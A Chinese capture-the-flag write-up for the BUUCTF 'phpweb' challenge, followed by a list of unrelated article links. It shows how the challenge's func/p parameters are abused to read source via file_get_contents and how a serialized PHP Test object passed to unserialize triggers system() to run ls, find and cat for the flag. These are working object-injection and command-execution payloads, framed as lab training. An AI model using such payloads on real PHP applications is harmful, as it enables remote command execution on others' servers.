当前位置: 首页 > news >正文

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解

打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。

func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。

func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。

class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}

运行下面代码。

<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

得到序列化后的数据。

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。

O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。

func=readfile&p=/tmp/flagoefiu4r93

总结

主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【Spring Boot 3】【Web】解析获取HTTP请求参数
  • 828华为云征文|部署私有云和文档管理系统 Kodcloud
  • 【C++】static作用总结
  • Harmony TextInput实现带有提示语的Text效果
  • Linux之MySQL日志
  • java 中简单实现异步的几种方法
  • Falcon Mamba:首个高效的无注意力机制7B模型
  • knime和Python两种解法提取斜杠(/)或反斜杠(\)分隔前后数据
  • 工时管理遇难题?试试这款系统解决方案
  • 强化学习——马尔可夫决策过程的理解
  • 2024年直面天命!2025年或将成为未来十年最容易获批国自然的一年?
  • elementUI——checkbox复选框监听不到change事件,通过watch监听来解决——基础积累
  • JavaWeb【day08】--(MySQL-Mybatis入门)
  • 悟空CRM12密码登录算法类
  • FFmpeg源码:compute_frame_duration函数分析
  • 【EOS】Cleos基础
  • 【挥舞JS】JS实现继承,封装一个extends方法
  • Android开源项目规范总结
  • git 常用命令
  • JAVA SE 6 GC调优笔记
  • JavaScript异步流程控制的前世今生
  • js如何打印object对象
  • JS题目及答案整理
  • OSS Web直传 (文件图片)
  • webpack项目中使用grunt监听文件变动自动打包编译
  • 成为一名优秀的Developer的书单
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 手写一个CommonJS打包工具(一)
  • 一、python与pycharm的安装
  • 一起参Ember.js讨论、问答社区。
  • 一文看透浏览器架构
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • puppet连载22:define用法
  • ​如何使用QGIS制作三维建筑
  • #if 1...#endif
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • (1)(1.9) MSP (version 4.2)
  • (1)Android开发优化---------UI优化
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (delphi11最新学习资料) Object Pascal 学习笔记---第2章第五节(日期和时间)
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (官网安装) 基于CentOS 7安装MangoDB和MangoDB Shell
  • (六)Hibernate的二级缓存
  • (免费领源码)python#django#mysql公交线路查询系统85021- 计算机毕业设计项目选题推荐
  • (三)docker:Dockerfile构建容器运行jar包
  • (生成器)yield与(迭代器)generator
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)重识new
  • (轉貼)《OOD启思录》:61条面向对象设计的经验原则 (OO)
  • ***检测工具之RKHunter AIDE
  • **PHP二维数组遍历时同时赋值
  • .NET C# 使用GDAL读取FileGDB要素类